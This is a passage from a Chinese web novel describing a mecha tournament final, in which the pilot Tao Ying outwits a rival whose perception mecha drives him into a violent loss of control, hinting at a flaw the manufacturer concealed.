“上啊南选手！” “加油！” 林别歌的机甲四肢都被炸飞，此刻徒留一个圆滚滚的驾驶舱躺在地上，她看着打得正高兴的队友，忍不住感叹。 “我出现在这里的必要性究竟是什么，刺激主角爆种吗，啊我这凄惨的人生……” 而镜头来到另一边的工业区。 解说惊讶道：“图兰提斯军校难道是内讧了吗？祝小芮选手竟然用浮游炮击落了队友的驾驶舱！” “图兰提斯损失一名狙击手！” “怎么会这样？难道是瓦伦提斯军校做的？” “他们应该没有这个本事吧……” 众人正在猜测始作俑者，突然有一位学生模样的人冲上解说席，激动地抢过解说的话筒。 “胡说八道，我们瓦伦提斯才不会使这种阴招！” 那学生紧握话筒。 “肯定是有人控制了我们的机甲！” “啊？？” 众人思索三分，认为他说得有点道理。 打从瓦伦提斯开始攻击，整个赛场的形势就开始变得不太对劲。 仔细想来，如果是电子攻击，刚才发生的一系列离奇事件都能说得通了！ 众人恍然大悟。 “可难道图兰提斯也是被控制了吗？不可能吧，雾雨F99可是一级防火墙啊，和莱门监测中心一样的水平，究竟是谁这么厉害？” 众人的惊讶一浪接着一浪，而这时，看台有人伸出手指，颤抖地指向赛场。 “恒我动了。” “家人们，恒我动了，太空女鬼队的队长终于动了！” “咋了，她又翻身了？” “四不过三啊朋友，不要遛我。” “听过狼来了的故事吧，我心已经冷了，再也不会被那个女鬼骗了。” 那人急道：“不是啊，是真的动了！它离开了工业区！” 那台纯黑色的机甲。 众人记得它的名字叫做恒我。 以毫不逊色溟火的动作，飞速向城市区的方向前进。 这个速度，远比她的机师当初面对星盗的时候更加轻快，操作也更加熟练。 它像是日光下的一抹黑夜，无比夺目。 黑色机体没有丝毫迟疑，它的眼神中闪烁亮光，死死盯着它的猎物，溟火MK2。 天穹杯机甲总决赛。 似乎从这个时候，才真正开始。 “恒我以极快的速度来到了城市区——” “啊，姬达婳接过了队友云针号留下的狙击枪，并且开始朝城市区射击！难道她是想攻击恒我？” “不，不对，云针所指的方向是，帝国第一军校的狙击手，老三！” “帝一和图兰提斯，两方狙击手即将中门对狙！” 帝国帝一军校的狙击手，老三，此刻正在城市区的高楼趴着。 托溟火的福，他们帝国第一军校在行进过程中，几乎没有受到阻碍。 谁挡揍谁。 除了海滩区稍微出了点意外，其它地区的战斗都顺风顺水。 队长包揽一切，他跟蒋凌雪基本上无事可做。 枪管在赛区扫来扫去，他们数着剩下的人头，颇有些百无聊赖，已经开始讨论比赛结束后的训练。 老三：“赛场上还剩23台机甲，感觉没有什么可打了。” 老三：“真无聊啊，就没有什么刺激点的东西吗？” 他正说着，一台黑色的机甲飞速朝他的方向赶来。 老三擦了擦眼睛。 什么东西？ 这什么魔鬼一样的速度？ 简直跟他们队长的速度不相上下！ 最可怕的是，它就像是突然出现在那里一样，毫无征兆。老三身为脆皮狙击手的一大习惯，就是观察雷达，过去十分钟，那台黑色机甲的行进路线上，根本什么机体反应都没有。 “竟然能防住我的探测？” 老三无比惊讶。 他驾驶的机型是独眼MK3，强隐匿+视觉强化，是狙击和探测的特化型。 它的浮动雷达可以穿透大楼，识别到十几米厚的金属另一侧的热源，结合气流识别准确定位，再通过光波扫描确认对方的形态。 可是说在盯人方面这个机型敢说第二，没人敢说第一。 普通的掩盖对它根本不起作用。 但现在，这台黑色机体，独眼MK3竟然完全没有察觉到它的行动？ 怎么可能？ 但老三来不及吃惊了，因为那台黑色机体以雷电一般的速度前进，转瞬便朝老三的面门冲来。 老三呈狙击态势，趴在地上，一时来不及起身。 蒋凌雪又在溟火附近支援…… 老三正觉得要完，黑色机甲突然向左一跳，和他擦身而过，连一个眼神都没有留下。 直接无视他离开。 老三：“……” 不是冲着他来的，那为什么要特意来他面前晃一下？ 只是巧合吗？ 不对，不是巧合。它的机师是故意的。 老三发现了。 这台机甲刚才遮住了它的身后—— 那个位置，是工业区。 老三眯着眼，确认了一下黑色机体刚才遮挡住的地方。 约四五米高的废弃厂房。 屋顶上，一台白金色机甲正趴在那里。 头顶金色光圈，背后别剑，外表高贵。 老三记得，这是图兰提斯的队长姬达婳的爱用机体，圣律者。 嗯？圣律者肩上架着的，不是云针号的狙击枪吗，射程可以达到三十公里的那个。 怎么被圣律者拿起来了？ 怎么枪口还对着他！ 【神经接驳中，请勿断开连线。10%——30%——90%——100%。】 【共鸣指数0.1，兼容指数0.4，神经同步率70%，连接正常。】 【能源系统，运行正常。正在调节适配参数——调节完成。】 【本机恒我已全部就绪，等待您的指令。】 【欢迎归位，SPIRAL。】 精神力触手和陶影的大脑连接，正式开始驾驶。 恒我的半智能体友情提醒： 【您的身体状况只能支撑——】 “我知道，十二分钟。” 陶影打断道。 机体在城市区的屋顶跳跃，它身上的黑色涂装似乎吸收了所有的光线，一旦隐入黑暗，就难以被人发现。 这是柏氏工业的特殊隐匿涂层。 机甲侧身蹬了一下墙壁，没有依靠推进器，而是单纯的反作用力向上爬升。 陶影一边操纵机体，一边观察队友的情况。 她挑眉道：“竟然这么快赢了贝奥尔军校？我以为还要苦战一番。” “就知道你是故意的。” 林别歌的大头在屏幕上不满地撇嘴。 “算了，我比格大人有大量，不跟黑心队长计较。你在干什么？你是不是动了？” 林别歌敏锐地捕捉到陶影的呼吸频率和平常不一样，立刻提问。 陶影淡淡道：“嗯，现在轮到我上场了。” “正在去揍溟火的路上。” “什么，你打算和溟火直接对战吗？！你疯啦？” 林别歌大声道：“不是说他们的机甲是什么超强的型号吗，你确定不会一上来就被揍？等一下，我们来帮忙！” 陶影：“你驾驶舱都紧急弹出了还帮什么忙，躺着玩吧。” “那你怎么办？帝一可是连续扫荡了三个区域啊，我们打不过的！” “谁说打不过？” 陶影手搭在唇边，狡黠一笑。 “我的机体在他之上。”—— 作者有话说：陶影：上个保险[比心] 第87章 黑如极夜的机甲,落在信号塔顶端。 它背靠天线，俯瞰整个岛屿。 这是一座曾经死去的城市。 墙面剥落，玻璃被灰尘覆盖,混凝土因为战斗，露出断裂的钢筋。 没有人类的城市死气沉沉,所有的高楼都有种不可避免的颓败之势。 铁锈味泛着一股血腥的气息。 环星岛。 陶影的嘴角勾起笑容。 这将是恒我被所有人熟知的—— 第一个舞台。 处于岛屿中心的信号塔尖，人群的狂热目光聚集于此。 而恒我向后一仰,轰然坠落。 高楼顶端,一台机甲正站立在城市区最高的停机坪。 如同烈焰般燃烧的火红色涂装,极具攻击性的外表。 正是溟火MK2。 它已经清空了四个区域，场上剩下的队伍只有五个,比赛即将决出前三。 孙弦半跪在地,按了按刺痛的太阳穴。 战斗时间拉得太长了。 每次驾驶溟火超过四小时,孙弦的大脑就会疼痛难忍，甚至辐射到脖颈,肩膀。 这种神经被拉扯的刺痛感，不管经历多少次,都让他难以忍受。 但没关系。 再忍一会儿，等找到剩下的几个队伍，他将带领帝国第一军校,拿到本次联赛的冠军。 只要再解决四个队伍就可以！ 孙弦缓了一 阵，眼神坚定地站了起来。 能做到这些，都是因为溟火MK2。 因为这台没有缺陷的，完美的机甲。 孙弦的精神力只有B。 而他憧憬的帝国第一军校，入学要求是精神力和体质双A。 他原本无缘帝国第一军校。 但，爱荷华科技给了他这个机会！ 爱荷华科技赞助了他，并且推荐他入学,让精神力只有B的他，实现了他一直以来的理想。 甚至让他，以及和他一样精神力并不高的人，都有机会尝试知觉机甲。 他无比地感谢爱荷华科技。 爱荷华科技简直是他的再生父母。 所以，孙弦早就决定了，他要用这台机甲，彻底地，毫无悬念地赢下这场比赛，让溟火在这个舞台上展现它的强大。 没有任何机体可以赢过它！ 孙弦的手，捏紧红色的精神力触手。 “快些，再快些，强些，再强些！老三，告诉我下一个队伍的位置！” 孙弦的两只眼睛爆出红血丝，恍惚间有些疯癫了。 但队频里，老三并没有回复。 孙弦暴喝一声：“老三！！” “放松，队长，”蒋凌雪有些被他的语气吓到，打圆场道，“老三被图兰提斯盯上，忙着狙人呢，把队频屏蔽了，要不你休息休息，你看上去很累。” 孙弦咬牙：“不，我没有累，我现在状态好得不能再好。” 孙弦觉得自己的精神力从出生开始就没有这么饱满过。 他要赢，他要扫平整个岛屿！ 而这时，三栋大楼之后的地方，孙弦突然感觉到一股同样的精神力。 他充满血丝的双眼，死死地盯着那片阴影。 “它来了。” 不需要多说，也不需要任何解释。 知觉机甲的机师间，有一种自然的连接，他们能迅速察觉到对方的存在。 尤其——这两台机甲的精神力模块制造者还是同一个人。 溟火两手交叉，腕间刀弹出，护住手臂，呈攻击态势。 而那片阴影中，走出一台纯黑色的机体。 “恒我！”孙弦叫出了它的名字。 黑色，如同无底的深渊。 红色，如天边燃烧的烈焰。 在两栋高楼中间，两台机甲如同格斗场中的选手，不说一语，静静对峙。 黑与红的极致对比，不停冲击着在场所有人的视觉。而气氛如同弓弦，不断，不断被拉紧—— 而后，推进器连续三次加大火力。 两台机甲同时从弓弦弹出。 “铮——” 深渊和烈焰相碰，腕间刀发出尖锐的声响。 一黑一红两台机甲的形态极其相近，如同孪生。 一击，又是一击，金属刀摩擦着。 它们在散落的火光中相碰。 爆裂的碎星不停坠落高楼。 众人屏住呼吸。 林别歌看懵了：“这是我们那个柔弱的黑心队长？” 南卦兴奋道：“我就知道小影不是普通人，她身上有种独特的能力！” 吃惊的不止她们，看台的观众也是统统石化，甚至忘记了呼吸。 怎么会有这样的机甲？ 怎么能打得如此漂亮？ 这是人类可以打出来的对战吗？这就是人类精神力的极限吗？ “谁在联赛见过两台知觉机甲对战？看呐，它们那优美得近乎人类却又不是人类的战斗方式，冷兵器之间的互相搏斗，现代科技与原始野性聚集一身的美感，令人动容！” “刀刀相碰，他们以肉眼难以捕捉的速度，迅速互相攻击——我的天哪，这将是载入联赛历史的一段记录！” 解说铿锵道。 但这种势均力敌的状态，并没有持续太久。 准确地说，没有持续到十分钟。 很快，解说迟疑道：“恒我的动作，似乎变得有些缓慢？” 解说没有看错，陶影的确打得越来越艰难。 她的体力快要跟不上了。 很快，陶影落入下风，被逼得踉跄后退，直直到了顶楼的边缘。 脚一滑，险些失去平衡栽倒，看台的观众都激动得站了起来。 林别歌在队频大喊：“影子，你不是说你的机体在他之上吗！” 陶影轻咳一声：“他的体质在我之上。” 林别歌、南卦：“……” 那确实，某人的体质只能支撑十二分钟。 眼见要输，林别歌急道：“要不先找个地方躲躲，苟一下？” 她身边的贝奥尔选手也躺在一起道：“是啊，你们在这里输掉也太可惜了。孙弦的体质达到了S级，他在格斗上很有名，并不只是靠着机体的强度。” 陶影喘着气避开一次攻击：“确实，孙弦超强的身体素质，在经过知觉机甲极快的映射速度后，完美地体现在了机体上。” “那你还不跑？！别说话了，你省点力气！” “信我吗？” 又来？这人怎么每次到危机关头都是一句“信我吗？” 林别歌匪夷所思。 不过这种时候她还用这种玩闹的语气，不会真有什么后招吧。 林别歌抠住袖子，眯着眼睛仔细观察战况。 恒我被推到停机坪边，摇摇欲坠。 而溟火右手袖刀虚晃一招，左手却悄然收起了剑，握紧拳头。 一发攻击，恒我直接被打飞出去！ 恒我斜斜坠落，接连冲破几层楼板，最终撞入一座大楼的五十层。 高楼的外墙玻璃碎裂，尖锐的玻璃如同雨点在夕阳中洒下。 恒我倒在玻璃碎片中，半天没起来。 “……”说好的后招呢？ 听说知觉机甲的机师，和机甲之间有特殊连接，机甲受到的伤害也会刺激机师本人。 刚刚挨那一下，不会让陶影晕过去吧？ “小影你没事吧！”“影子！” 很快，一阵哗啦的清脆声音响起，恒我撑着膝盖起身，抖了抖身上的玻璃碎片。 一台固定运行的穿梭舰，像摇摇车一样从恒我的面前划过。 还放着儿童音乐。 陶影低低笑了一声：“我没事，只是还不太习惯这个身体。” 两位队友：“……” 这种时候你还有闲心犯中二病？ 果然，很快，孙弦的第二次攻击就来了，溟火拔下大楼楼顶的一块金属广告牌，粗暴地揉捏成一团。 然后单腿站立，握球的手臂后仰，左腿落地，飞速掷出—— 朝着陶影的方向。 “在机甲联赛，你甚至能看到机甲高速发球，一份门票，同时享受机甲联赛和棒球赛。” “哇这个球速，要是砸中了驾驶舱可不得了，会波及到机师本人吧？” “话说恒我怎么样了？镜头，你转个方向，这里看不见大楼里面啊，恒我怎么样了！” 众人急得抓耳挠腮，但也无济于事。 金属球射入大楼之后就没了动静。 众人只能听见金属球和什么东西碰撞，发出巨大的声音。 击中了吗？ 恒我被击倒了吗？ 在大家的好奇心中，浮游镜头终于转了一个角度，来到大楼正面。 黑色的机甲头部从楼层中探出。 而紧接着，它的手也伸了出来。 那颗金属球嵌入恒我的掌心，还在不停旋转，爆出绿色的火光。 “接住了接住了！” “恒我没事！” 恒我勉强接住了这颗球，然后靠在大楼一侧，看着溟火。 似乎是机师的体力用尽了。 “比赛还没结束，但恒我的机师怎么不动了？她受伤了吗？” 恒我的机械手掌中，直径一米的金属球逐渐停止旋转，因为过度的摩擦，金属球烫得发红。 红色火球坠落大楼。 而恒我此刻正抱着自己的右臂。 当然，溟火刚刚那一记攻击非常强力，恒我在这个距离接下，右臂不可能不受到冲击。 因为和机体的精神力连接，机师的右臂，现在恐怕也是一阵发麻刺痛吧。 见陶影半天没有动，孙弦嘲讽：“怎么，黔驴技穷了？” 孙弦听说这名机师来自一个名不见经传的三流军校，现在一看确实，她单一的攻击 方式告诉孙弦，她明显没有经过专业训练。 估计是认为自己拿了一台好机甲，就可以和他抗衡了。 一个新兵和经过训练的他怎么相比？ 孙弦正要再嘲讽两句，就看到面前的恒我两手抱臂，好整以暇地看着他。 什么情况？ 她为什么还这么淡定？ 对方太过游刃有余，孙弦察觉不对，缓缓低头，这时才发现，他所在的大楼底部。 是一个加油站。 而因为废弃太久，地面已经裂开，露出地底埋藏的输油管道。 那颗火球落地的位置，正是裂痕处！ 火球的高温，在落地瞬间，引燃整片输油管道。 高压之下，产生了巨大的爆炸。 以溟火为中心，整片地面完全塌陷，楼房歪斜，瞬间化作废墟。 整个岛屿都开始震荡。 所有的选手都感受到冲击，在同一个瞬间停止了动作。 “发生什么了，地震了？” “这玩意儿又不在地震带！！” “海底火山爆发了？！” 一时间场上的机甲七倒八歪。 而看台上的观众也感受到了这种震感。 本来隔着看台和环星岛的安全距离，让观众对着赛场总有一种隔膜。 但这时候，脚下的震动，海水的剧烈晃动，似乎让他们和场内的选手站在同一片土地上。 “哦——有种血脉燃烧的感觉！” 溟火坠落地底。 而陶影站在顶楼，俯视着它。 两台知觉机甲之间，有特定的精神力沟通频道。 孙弦恍惚间听见一个女声说—— “比赛不是只靠蛮力的，还要靠脑子。” 陶影右手食指，轻点自己的脑袋—— 作者有话说：艺术就是爆炸[撒花] 第88章 “恒我摆出了一个嘲讽的手势,似乎在说孙选手的脑子不好。” 观众：“哇哦——” “她好勇。” “孙弦脾气很暴的。” 而场内，图兰提斯战术小队刚刚从爆炸中回过神。 祝小芮咽了一下口水：“从半决赛炸到决赛，S老师还是忘不了她那个爆炸。” “话说她体力条都见底了,不找地方休息，怎么还一直对着溟火开嘲讽？” “确实不太合理。” 姬达婳思索片刻后,肯定道： “她在故意激怒孙弦。” 可为什么呢？ 激怒溟火的机师，只会让溟火追得更紧,对现在的她有什么好处？ 说起来,姬达婳更疑惑了。 陶影说图兰提斯肩上的这把枪,是一个“保险”。但战斗到了这个危急场合，陶影却迟迟没有指示她射击。 城市区,依旧是一黑,一红,两台知觉机甲在单打独斗。 姬达婳不禁想。 难道……这场战斗还没有到真正的激烈之处？ 可还能有什么意外呢？ 恒我在高楼侧壁，接连跳跃。 烈焰般的火红色机甲,在它身后紧追不舍。 陶影时不时停下来喘口气，掉头挑衅孙弦一番。 孙弦冷笑一声：“还在强撑？你体力到极限了吧。现在占上风的,是我们帝国第一军校，认输吧。” 陶影耸耸肩：“那可不一定。” “我的机体在你之上。” 说着，恒我重踏一下,踩住前方的穿梭舰，向上一跃，钻入高楼的阴影中。 “呵。”孙弦讽刺一笑。 在他之上？ 要真的是这样，这人在这里跟他玩什么躲猫猫？ 怎么不敢正面来！ 孙弦疾风般追了上去。 陶影躲入楼层。 而孙弦在墙外，仔细判断声音的方向。 以及那股微妙的精神力位置。 很快，孙弦找到了声音的来源。 他抓住消防梯，看准位置,握拳蓄力，打穿了陶影躲藏的墙壁！ 但墙壁后空无一人。 恒我不在那里。 那里只有一台可疑的录音机，里面还在播放着机甲摩擦地面的声音。 刚刚发出声音的是这个？ 那么短的时间，她还有闲心弄这些？ 孙弦惊诧之余，头上传来口哨声。 “我的智慧也在你之上。”恒我的机师再次点了点自己的脑子，揶揄道。 孙弦眉间蹦出一个井字。 他心道没关系，下一次就能击中，但下一次，又下一次—— 无论怎么努力。 孙弦还是攻击不到陶影。 陶影反应速度极快，每次溟火的攻击一到，她就像一尾鱼，迅速滑走。 就像预判了孙弦的动作。 就像计算好一切，故意逗着他玩。 不管孙弦怎么接近，她总能迅速拉开距离。 陶影朝他竖了个中指：“孙弦，你的攻击真是太强力了，可为什么就是打不中呢？” 陶影叹了一口气：“所以我都说了，要动动脑子。” “……” 这人！ 几次三番的戏弄后，孙弦彻底怒了。 孙弦瞳孔收缩，眼白布满了红血丝。 他不服！ 明明只是一个三流军校的学生，怎么能将他压着打？ 脑子，他当然有脑子！ 这人凭什么说他没脑子！ 呃…… 孙弦头痛欲裂，两手颤抖着，在操作台上狠狠砸了两下。 从海滩区开始的头痛，在长时间的高压驾驶下，愈演愈烈。 终于爆发。 神经不断抽搐，像被水母的针刺，受到神经毒素的影响，痛不欲生。 而就在下一秒，孙弦的精神力到达极限，头重重砸在操作台上。 晕死过去。 额头的血液顺着按钮汩汩流下，队频里传来队友的呼唤声。 但孙弦已经听不见了。 他脑中是一片尖锐的杂音，像要杀死他一样的吵闹。 而很快，整个世界都安静了下来。 他的精神似乎是死了。 又似乎是解脱了。 精神力触手突然开始无规则地扭动，摔打。 孙弦再次抬起头时，一切都已经天翻地覆。 孙弦的眼瞳被一片红色灌满，眼神化作兽类，冲动而没有理性。 他心中只有一个念头。 最原始的，最本能的攻击性—— 他要杀光一切。 杀光一切。杀光一切！ 陶影感受到一股不同寻常的精神力冲击。 身边的透明触手开始抽动，似乎也和她一样，感觉到了一股异样的气氛。 这是精神力连接产生波动的表现。 “嗯。”陶影淡淡地笑了。 “终于来了。” 陶影看向狂暴化的溟火，像是等待这个时刻已经很久。 计划最不可缺失的一环。 最重要的一幕。 ——溟火最致命的缺陷，终于暴露了。 半智能体传来提醒。 【SPIRAL，检测到高能精神力反应！】 “打开‘月障’。” 陶影下命令道。 浅金色的电子护盾瞬间张开，抵挡住了奔流而来精神力攻击。 “月障”，即恒我的特殊防护盾，用来应对知觉机甲的精神力攻击。 与此同时，孙弦的队友蒋凌雪也赶到现场。 “孙弦，我来支援了！孙弦？” 但孙弦并没有回答。 “队长？” 无论蒋凌雪怎么说话，孙弦就像死了一样，完全不理 他，但是队频是通着的。 而那边传来奇怪的呼呼声。 就像是野兽垂涎的，大口呼吸的声音。 蒋凌雪没有多想，只觉得大概是通讯出现了问题，他操作几下，但还是没有改善。 “究竟什么情况？” 老三从刚刚开始就失去了联系，现在连孙弦也毫无动静。 他们帝国第一军校是被什么人盯上了吗？ 这时候，寂静的频道中，蒋凌雪却接收到了陶影的通讯。 陶影像念台本一样，无感情地念着蒋凌雪的基本情况。 “蒋凌雪，帝国第一军校强攻手，机甲型号弑神者，近战非常厉害，在帝一也数一数二。” “我十分信任你的能力。” 陶影不知为何，突然开始夸蒋凌雪。 她在地下铁的轨道上，找了个安全的位置，半坐下休息。 然后朝蒋凌雪道： “那我先回一下血，你加油，尽量撑到二十分钟啊。” “别死。” 蒋凌雪：“？” 这人突然说些什么奇怪的话。 撑什么？从谁的手里撑？ 话说这人是谁？怎么接上他们队频的？ 蒋凌雪头顶被问号覆盖了。 这时候，陶影微笑着，小心提醒。 “还没发现啊？你的队友不太对劲，最好谨慎处理——” 陶影话音刚落，蒋凌雪就看到一台火红色的机体来到他面前。 是队长的溟火！ 蒋凌雪松了一口气。 肯定是队长接收到了通讯，特意过来找他。 但刚刚通讯里，那个女人说“你的队友不太对劲”是怎么回事？ 蒋凌雪很快就知道了。 因为溟火来到他面前后，一言不发，也没有停顿，直接朝蒋凌雪发起了凶狠的攻击！ 蒋凌雪大惊：“队长？你怎么了？！现在可不是开玩笑的时候！” 但孙弦没有回答，在蒋凌雪避开后，又迅速发起了攻击。 孙弦像是一个无情的战斗机器，脑中只有一个词。 “杀戮”。 蒋凌雪终于意识到了不对劲。 一股寒意从他的脊背冒出。 不，这不是玩笑。 孙弦是真的想杀了他！ 观众：“发生什么事了！溟火怎么会攻击队友？难道和刚刚图兰提斯的情况一样，也是电子战？” 前排有爱荷华家族的技术员猛地站起身，嘴里低呼一声“完了”，然后小跑来到尤里斯身边低声说了什么。 有帝一的学生知道内情，小声道：“他这看上去像是驾驶时间太长，失控了。” “失控？” “哦，知觉机甲有概率会让机师的精神力失控的，你不知道吧？” “还有这种事！” “怎么会这样，这种机体缺陷，为什么爱荷华科技没有公布？” “当然是为了卖机甲啦，可以赚到钱的话，机师的性命对他们来说算什么。” 看台上，有个女人说。 爱荷华科技的研究员怒而站起：“你少血口喷人！” 车晓理冷笑一声：“是不是你们心里清楚得很，装什么傻？” “哦？”应纱夜不知何时起身，朝莱机所的人发出疑问。 “这话我可不能当作没有听见，毕竟应家可是爱荷华科技的大客户。你仔细说说。” 车晓理倾身：“您确定想听？” 应纱夜颔首：“愿闻其详。” 溟火失控后，不分敌友，满场乱杀，蒋凌雪虽然近战一绝，但很快被打得落花流水。 机甲四分五裂，簌簌从楼顶坠落。 观众不由大惊。 “这，这人还能活吗？” “我的天，高强度防壁就这样被一拳打碎，直透驾驶舱，太恐怖了。” “图兰提斯的姬达婳和祝小芮正在支援蒋凌雪！” “她们刚才还在跟老三对狙呢，不是要攻击帝国第一军校吗？” “现在这个战况究竟怎么回事啊！怎么变成所有人都在攻击溟火！” 姬达婳浑身冷汗都冒出来了。 “我终于知道黑心队长说的保险是什么意思了……” “这保险不是给她自己的，而是让全场选手活下来的保险啊！” “大花学姐，掩护！”祝小芮高声道。 溟火杀红了眼，竟然在击倒蒋凌雪的机甲后，还要攻击它的驾驶舱。 这一刀下去，肯定真的没命了！ 蒋凌雪闭上眼，觉得自己今天大概是要死在这里了。 而面前，突然传来金属碰撞声。 蒋凌雪睁开眼。 黑如极夜的机体，破空而来。 机械右臂在前，为他挡下了致命的一击。 是恒我。 是恒我！ 恒我救了他。 蒋凌雪两手震颤，有种捡回一条命的感觉。 他劫后余生道：“谢谢……” “不用谢。” 恒我的机师侧头看了他一眼： “孙弦精神力失控了，看来他的本性是暴力与杀戮，你躲远一点吧。” 精神力失控？ 蒋凌雪这才想起，好像从海滩区对战Medusa开始，孙弦的精神力状态就不太对，非常暴躁。 其实他们组队训练的时候，孙弦偶尔也会发生这种情况，但爱荷华科技说这是驾驶知觉机甲的正常反应。 难道爱荷华科技说谎了，溟火的机甲有问题？ 蒋凌雪找了个安全角落藏起来，朝陶影迟疑道：“那你……？” “我不会有事。” 陶影轻笑一声，似乎是在说“我有什么可担心的”。 安置好附近的选手，陶影站在信号塔顶端，俯瞰一切。 她迎着晚风，语气轻盈道： “大花学姐，到你了。” “掩护我。”—— 作者有话说：陶影：计划通[狗头叼玫瑰] 第89章 从空中呼啸而来的,是一颗云白色的子弹。 子弹经过特制的电磁弹道发射，头部呈尖锥形，直径是其它型号炮弹的二分之一。 特殊形态强化带给它更远的攻击距离,以及更快的速度。 初速达到七千米。 子弹发出音爆声，瞬间穿过数个区域,拉出长长的的弧线，射向溟火的左眼。 “轰——” 子弹针尖一样刺入。 溟火捂着左眼痛苦地后退了几步。 就在这时,黑色机甲的庞然身影,从大楼背后走出。 它左手扶墙,逗狗似的朝溟火勾勾手指。 “在看哪里？” “你的对手是我。” 女声带着一丝游刃有余的笑意。 溟火缓缓抬起头，野兽一样盯着她,随后发出一声怒吼,追了上去。 …… 两台机甲在钢铁丛林中穿梭,马路上的运输车接连被踩扁。 溟火时不时失去那台黑色机甲的身影，但刚停下来寻找,陶影便不知道从哪个角落冒出来，道：“你怎么不追了？” 溟火于是咬咬牙,继续追上去。 他要咬死这个人！ 五分钟后。 “果然，精神力失控会激发潜能。” 陶影自言自语道。 孙弦的体质简直到了一个令人发指的程度。 遛他这么久，还一点没有累的意思,每一次攻击都没有疲态。 正思考着，孙弦又是全力一击。 陶影扭头躲过攻击，顺势一倒，从旁边的大楼扯下一块楼板，随手扔出去，砸中溟火的头部。 余光看到大楼下面有什么东西，陶影脚步一顿。 唔,下面好像有台机甲被埋起来了。 从远处感觉，精神力波动挺稳定的，机师还活着。 陶影趁溟火不注意，向前一跃，稳稳落在地上。 她扒开地下通道口的碎石，露出里面的机甲。 机甲型号是独眼MK3。 决赛使用这个机型的只有帝国第一军校狙击手，老三。 见陶影靠近，老三先是好奇探头，然后往后退了两步，开始往地下通道里面钻。 陶影往前一步。 老三|退后一步。 往前一步。 退后一步。 …… 你在拉扯什么？ 陶影只是想确认一下这人需不需要医疗援助，但老三一直躲来躲去。 躲什么，她很可怕吗？ 陶影挑眉：“你扭扭捏捏的干嘛？” 老三对手指，用可怜巴巴的语气道：“你是来救我的还是来揍我的？” 陶影：“……” 老三：“那毕竟我们还在比赛嘛，我要确认一下是敌是友。” “确认的方式就是直接问我？” “哈哈。” 老三讪笑两声。 他刚才接到蒋凌雪的通知，说不要乱动，万一引起溟火的注意就死定了。 所以被埋在这里， 一直没敢动。 不过看这个情况，恒我的机师刚才就救了凌雪，现在肯定也是来救他的吧。 “我真是小人之心度君子之腹，看来你一定是来救我的。” 老三嘿嘿笑了两声，朝陶影抱拳，上前一步想要感谢。 没想到恒我身子一扭，反从他手中薅了一把狙击枪。 顺手掐掉了老三的核心能源。 陶影肩上扛枪，一腿踏出地下通道，咧嘴道：“你猜对了，我就是小人。” 说着踢了两脚，又把通道入口给堵上了。 被埋在里面的老三：“……” 救命啊，医疗组！！！ 受到刚才的爆炸影响，本就摇摇欲坠的大楼，很快又坍塌。 在云针的掩护下，陶影很快将溟火引导至沙滩区的边缘。 姬达婳收到陶影的通讯，挪了一个更方便瞄准的位置。 祝小芮疑惑：“城市区地形复杂，更利于恒我隐藏，她为什么要去沙滩？” 姬达婳深吸一口气，重新架上枪。 “不知道，我不想猜。” 那个黑心女鬼在想什么，她一点都不感兴趣！ 祝小芮撒娇道：“学姐猜猜嘛。” 姬达婳面色麻木：“我不，我想回家。” 恒我是近战机型，没有搭载远程瞄准系统。 陶影架着刚刚抢来的狙击枪，只能锁定溟火，手动瞄准。 距离一两百米，照理说很容易击中，但陶影射出去二十多发子弹。 一发都没中。 三分钟后，陶影将狙击枪扔到一边。 啧。 之前打星盗的时候就发现了，她果然没有什么狙击天赋。 …… 空中集装箱乱飞，陶影穿越港口区，逐步到达海滩区。 两台机甲打着打着就进了海里。 灌入关节的海水随着它们的站起，又不停从关节处汩汩流下。 白色的浪花打出泡沫。 夕阳下，两台机甲手撑着手，陷入了一种原始的搏斗。 僵持了一会儿，孙弦的头朝陶影狠狠一顶。 陶影向后倒下，孙弦顺势把人往身后一甩，然后死死地将陶影的机体按在了水中。 两者的力量势均力敌，但在海中机甲很难使上力气。 眼前是满溢的海水，逐渐淹没她的面孔。 陶影感受到一股窒息感，不禁捂住脖子，呛咳一声。 “咻——” 脖子上的力道松了一点。 陶影猛地浮出水面。 云针的狙击枪远程射来子弹，掩护了陶影片刻，稍微让她有了一口喘息的机会。 而姬达婳又接连几颗子弹将孙弦逼退。 陶影这才找准时机站了起来。 机体沾满了海水，湿漉漉的滴下。 这种感觉顺着恒我的精神力模块传达给陶影。 怪粘稠的，不舒服。 陶影猫抖水一般地甩甩手。 随后朝姬达婳道：“谢了，不太喜欢沾水，一时没反应过来。” “哦——” 祝小芮意味深长地拉长语调，随后兴奋地用食指指着恒我。 “发现S老师的弱点！不会游泳！” “现在情况这么危急，是说这个的时候吗。” 姬达婳一巴掌拍在祝小芮头上，止住她不合时宜的吐槽。 然后暗暗将陶影的弱点记在了心里。 不会游泳是吧，以后有机会你等着。 图兰提斯必报今日被玩弄之仇！ 咳。 姬达婳收敛了一下表情：“话说恒我的精神力连接不能屏蔽掉体感吗？” 看陶影这个样子，很明显刚才体验了一下差点被淹死的感觉。 “屏蔽掉体感，反应速度就没有那么快了。要保持极强的精神力连接，只能牺牲这个。” “战士不就是这样吗？我们是无所畏惧的战士。你我将战斗，直到生命的尽头。” 陶影竖起大拇指道。 有点火热啊朋友，你是这种热血人设来着？ 你不是阴森女鬼吗？ 姬达婳擦了一下额间的冷汗。 她今天流的冷汗加起来可以绕切斯特星一圈。 孙弦虽然已经失去了判断，只剩下本能。但不巧，他本能反应极快。 刚刚那一发子弹，溟火的机体竟转身，迅雷不及掩耳之速，单手捏住。 陶影赞叹道：“不愧是体质S，失控后的反应速度更恐怖了。” 观众们看着站在沙滩上鼓掌的黑色机甲：“……” 恒我的机师是受到的刺激太大，终于疯了吗？ 姬达婳谨慎地试探道：“人常常会把恐惧时的心跳理解为兴奋，你没事吧？” 显然也认为陶影是吓傻了。 但陶影仿佛无事发生，给出下一步指令。 “我当然没事，只是可以进入下一个阶段了。大花学姐，换一个攻击目标。” “换……啊？换成谁？” 海滩区在开场就遭受了帝国第一军校的扫荡，现在空空如也。 非要说的话，地上还有几台没来得及回收的机甲。 Medusa，电鳗号的残骸。 攻击它们？难道是为了能源核心爆炸瞬间的冲击力？ 姬达婳刚想到这儿，孙弦就一脚把这几台机甲的能源核心踹进了海里。 陶影再次鼓掌：“失控了还记得规避风险，厉害。” 姬达婳：“是说这个的时候吗，你不是要瞄准Medusa？” 陶影一脸疑惑：“仿生型机甲都挺贵的，无缘无故炸它做什么？我是这么不爱护环境的人吗？” “你是。” 刚刚轰掉云针号，炸了半个岛的是谁啊！ 姬达婳磨牙道：“不瞄Medusa，那你要瞄谁？总不可能瞄看台的观众吧？” 